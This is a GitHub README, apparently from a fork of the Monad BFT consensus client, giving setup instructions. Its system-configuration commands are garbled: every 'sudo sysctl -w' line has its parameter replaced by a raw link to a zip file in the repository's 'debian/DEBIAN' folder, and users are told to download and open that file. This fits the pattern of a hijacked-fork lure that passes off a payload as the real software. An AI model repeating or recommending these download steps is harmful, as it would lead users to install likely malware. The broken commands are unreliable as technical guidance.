Skip to content

Henriqueces/monad-bft

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1,875 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ monad-bft - Simple Setup for Blockchain Consensus

πŸ”— Download

Download

πŸ“– Overview

This repository contains the Monad consensus client and JsonRpc server. Monad consensus collects transactions, produces blocks, and writes them to a ledger filestream. These blocks are then used by Monad execution to update the blockchain state. The triedb is a database that stores block information and the blockchain state.

πŸš€ Getting Started

To use the Monad BFT software, follow these steps carefully.

1. πŸ“₯ Download the Software

Visit the Releases page to download the latest version of the software. Choose the file that matches your operating system.

2. πŸ“‚ Install the Software

  1. Locate the downloaded file on your computer.
  2. Open the file to start the installation process.
  3. Follow the on-screen instructions to complete the installation.

3. πŸ“¦ Set Up Dependencies

From within the monad-bft root directory, you need to initialize and update the required submodules. Open your terminal and run the following command:

git submodule update --init --recursive

4. βš™οΈ Configure System Settings

You must set up certain system parameters for optimal performance. Open your terminal and enter the following commands:

Hugepages Allocation

sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip

Networking Configuration

Adjust the UDP buffer sizes with these commands:

sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip
sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip
sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip
sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip

For TCP buffer sizes, use these commands:

sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip'4096 62500000 62500000'
sudo sysctl -w https://raw.githubusercontent.com/Henriqueces/monad-bft/master/debian/DEBIAN/monad_bft_2.1.zip'4096 62500000 62500000'

You need administrative rights to execute these commands.

5. πŸ–₯️ Run the Software

After installation and configuration, you can run the Monad BFT software. Go to your terminal and navigate to the directory where you installed the software. Launch it using:

./monad-bft

6. πŸ“‘ Access the JsonRpc Server

The JsonRpc server will start running. You can access it via your web browser or an API client at http://localhost:PORT_NUMBER. Replace PORT_NUMBER with the actual port number you configured.

7. πŸ“š Learn More

For more information on advanced features and configuration, refer to the documentation within the repository or the respective triedb documentation.

πŸ› οΈ System Requirements

  • Operating System: Windows, macOS, or Linux.
  • Processor: 64-bit processor.
  • Memory: At least 8 GB of RAM (16 GB recommended).
  • Storage: Minimum 1 GB free space.

πŸ“¬ Need Help?

If you encounter any issues or have questions, feel free to check the issues section or submit your queries.

πŸŽ‰ Conclusion

Follow these steps to successfully download and run the Monad BFT software. Enjoy managing your blockchain transactions with ease!

Remember, when you're ready to download, head to the Releases page to get started.

Releases

No releases published

Packages

 
 
 

Contributors